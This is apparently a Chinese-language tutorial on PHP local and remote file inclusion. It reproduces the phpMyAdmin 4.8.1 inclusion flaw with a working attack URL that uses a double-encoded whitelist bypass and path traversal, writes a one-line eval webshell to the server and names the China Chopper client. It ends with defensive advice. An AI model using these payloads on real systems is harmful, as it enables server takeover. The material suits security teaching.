1.文件包含定义
攻击者利用包含的特性,加上应用本身对文件(包含)控制不严格,最终造成攻击者进行任意文件包含。
(注:包含的文件会被当成脚本文件来解析)
文件包含本身并不属于漏洞,但是,由于对包含进来的文件不可控,导致了文件包含漏洞的产生。
包含文件本身很有用,可以简化代码。
2.分类
2.1. 本地文件包含
包含服务器上的资源
叫做 LFI(local file inclusion)
2.2. 远程文件包含
通过http协议包含其他地方的资源,
例如:require(‘http://59.63.200.79:8010/1.txt’);
叫做:RFI(remote file inclusion)
默认不开启,需要allow_url_include = On
2.2.1. 开启
php-ini 中 allow_url_include = on
配置完需重启一下 apache
3.PHP函数
3.1. include
使用include引用外部文件时,只有代码执行到include代码段时,调用的外部文件才会被引用并读取,当引用的文件发生错误时,系统只会给出个警告错误,而整个php文件会继续执行
3.1.1. 示例
在 1.txt 中输入 phpinfo();
在 index.php 中写入 include('1.txt');
访问本地
3.1.2.
当在 index.php 中写入include('2.txt');时会报错
不存在2.txt
不会影响代码往下执行
3.2. require
在php文件被执行之前,php解析器会用被引用的文件的全部内容替换require语句,然后与require语句之外的其他语句组成个新的php文件,最后按新的php文件执行程序代码
3.2.1.
将include替换为require
123不再输出,出现问题后不再往下执行
3.2.2.
将1.txt重命名为1.jpg仍能当作php执行
不在乎后缀
3.3. include_once与require_once
与前两个类似,区别在于被包含过了,就不会再被包含
4.相对路径与绝对路径
4.1. 相对路径的使用
../../../文件名
C盘下有一个名为flag.jpg的图片马
刷新页面
传参 /?a=phpinfo(); 成功执行
已经可以连接菜刀了
如果想要写一个马进去,
传参/?a=file_put_contents(‘8.php’,’’);
4.2.绝对路径
开头带盘符
C:/flag.jpg
4.3.小知识
Cmd中
4.3.1.cd ../
跳到上级目录
4.3.2. cd 文件夹名
跳到该文件夹
4.3.3. php中
在php中这样写
http://192.168.19.131/lfi/2.php?a=qweqweqwe/../../../phpstudy/WWW/lfi/1.txt
也是可以找到需要的文件的,
因为qweqweqwe在相对路径情况下,会被理解成是一个文件夹
但在php不可以写一些特殊字符来进行传参
如传参?a=@#hiohio*os$%^^$/../../1.txt
4.4.文件包含需要传参时
加&
可以写
http://192.168.19.131/lfi/2.php?a=1.txt&q=phpinfo();
5.漏洞复现
5.1.环境
phpMyAdmin4.8.1
非常常见
5.2.代码审计
5.2.1.
Seay中直接搜索include,发现漏洞
5.2.1.1.
Include $_REQUEST[‘target’]执行条件
- 传参不为空
- 传入的target要是一个字符串
- 不能为/index/开头
- 不在$target_blacklist数组中
传参不能出现 import.php 或 export.php - 满足Core类中的checkPageValidity函数
::类的方法
5.2.2. checkPageValidity函数
需要$page在$whitelist数组中,才能返回true
5.2.3. $whitelist
5.2.4. $goto_whitelist
5.2.5.
其中当遇到问号时,会进行截断
5.2.6. 小知识
Get传参会默认一次url解码
5.2.7. Urlcode()函数
进行一次url解码
5.3. 登录
账号密码root
5.4. 新建数据库
5.5.
在表中写入一句话木马
5.5.1.
在名字处写入后点击保存
5.5.2.查看结构
5.6.回到index目录
5.7.构造攻击
?target=db_sql.php%253f../../../../../../../phpstudy/MySQL/data/zzy/yy.frm&a=phpinfo();
db_sql.php为白名单中内容
zzy为前面新建的数据库名,yy.frm为表名
5.8.写入木马
?target=db_sql.php%253f../../../../../../../phpstudy/MySQL/data/zzy/yy.frm&a=file_put_contents(‘xyy.php’,’<?php @eval($_REQUEST["hack"]); ?>’);
5.9.
访问 xyy.php?hack=phpinfo();
成功
5.10.连接菜刀
5.11.其他
将代码从word复制到url栏时,一些符号会转换为中文
6.防御
- 无需情况下设置allow_url_include和allow_url_fopen为关闭
- 对可以包含的文件进行限制,可以使用白名单的方式,或者设置可以包含的open_basedir
- 建议假定所有输入都是可疑的,尝试对所有输入提交可能可能包含的文件地址,包括 服务器本地文件及远程文件,进行严格的检查,参数中不允许出现../之类的目录跳转符。
- 严格检查include类的文件包含函数中的参数是否外界可控。